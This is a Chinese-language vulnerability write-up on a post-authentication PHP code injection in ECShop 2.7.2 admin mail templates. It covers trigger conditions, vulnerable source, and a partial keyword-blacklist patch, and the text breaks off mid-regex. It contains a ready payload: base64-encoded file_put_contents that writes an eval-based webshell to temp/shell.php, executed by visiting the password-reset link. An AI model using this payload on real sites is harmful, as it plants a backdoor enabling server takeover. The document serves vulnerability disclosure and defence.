ECSHOP Inject PHPCode Into ecs_mail_templates table Via \admin\mail_template.php && \includes\cl
目录
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
Ecshop后台模版编辑漏洞,黑客可以在获得了后台管理员的帐号密码之后,可以通过在模版中插入PHP代码,然后通过其他的访问途径让模版中的代码得以执行,从而进行GETSHELL
Relevant Link:
http://www.cnblogs.com/LittleHann/p/4077491.html http://www.secpulse.com/archives/18839.html
2. 漏洞触发条件
0x1: 需要登录后台
这个漏洞需要黑客能够登录到ecshop的后台,进行后台的模版编辑操作
0x2: 向模版中插入php tag代码
模块管理 -> 邮件模版 -> 把内容改成 {$user_name'];file_put_contents(base64_decode('Li4vdGVtcC9zaGVsbC5waHA='),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4='));echo $var['$user_name}{$user_name}您好!
您已经进行了密码重置的操作,请点击以下链接(或者复制到您的浏览器):
"_blank" href="{$reset_email}">{$reset_email}
以确认您的新密码重置操作!
{$shop_name}
{$send_date}
注入的PHP代码翻译过来是
file_put_contents(base64_decode('../temp/shell.php','<?php @eval($_POST['207']);?>');
完成修改后,点击确定,保存模版的修改,和myship.lbi漏洞不同的是,对于邮件模版来说,注入的PHP代码被保存到了数据库中
/admin/mail_template.php
elseif ($_REQUEST['act'] == 'save_template') { $_POST['subject'] = json_str_iconv($_POST['subject']); $_POST['content'] = json_str_iconv($_POST['content']); //echo $_POST['content']; //die(); if (empty($_POST['subject'])) { make_json_error($_LANG['subject_empty']); } else { $subject = trim($_POST['subject']); } if (empty($_POST['content'])) { make_json_result($_LANG['content_empty']); } else { $content = trim($_POST['content']); } $type = intval($_POST['is_html']); $tpl_id = intval($_POST['tpl']); if ($type) { $content = str_replace(array("\r\n", "\n"), array('
', '
'), $content); } else { $content = str_replace('
', '\n', $content); } $sql = "UPDATE " .$ecs->table('mail_templates'). " SET ". "template_subject = '" .str_replace('\\\'\\\'', '\\\'', $subject). "', ". "template_content = '" .str_replace('\\\'\\\'', '\\\'', $content). "', ". "is_html = '$type', ". "last_modify = '" .gmtime(). "' ". "WHERE template_id='$tpl_id'"; if ($db->query($sql, "SILENT")) { make_json_result('', $_LANG['update_success']); } else { make_json_error($_LANG['update_failed'] ."\n". $GLOBALS['db']->error()); } }
0x3: 触发注入模版代码的执行
访问后台的密码找回链接
代码流支会走到/inlcude/cls_template.php的模版解析逻辑,ecshop对邮件模版代码进行编译,在代码编译的时候,被注入的代码得以执行
Relevant Link:
http://www.sky00.com/archives/908.html http://www.51php.com/ecshop/9924.html
3. 漏洞影响范围
ECShop_V2.7.2 ECShop_V2.7.2 及以前版本
4. 漏洞代码分析
5. 防御方法
0x1: 模板代码注入的上传入口Patch
还是采取边界防御的思想,对可能导致模版中代码插入的"编辑入口"进行恶意代码防御
/admin/mail_template.php
/*------------------------------------------------------ */ //-- 保存模板内容 /*------------------------------------------------------ */ elseif ($_REQUEST['act'] == 'save_template') { if (empty($_POST['subject'])) { sys_msg($_LANG['subject_empty'], 1, array(), false); } else { $subject = trim($_POST['subject']); } if (empty($_POST['content'])) { sys_msg($_LANG['content_empty'], 1, array(), false); } else { $content = trim($_POST['content']); } $type = intval($_POST['is_html']); $tpl_id = intval($_POST['tpl']); /*过滤了部分php关键词*/ $temp_check = preg_replace("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", "", $content); $temp_check = preg_replace("/<\?[^><]+(\?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|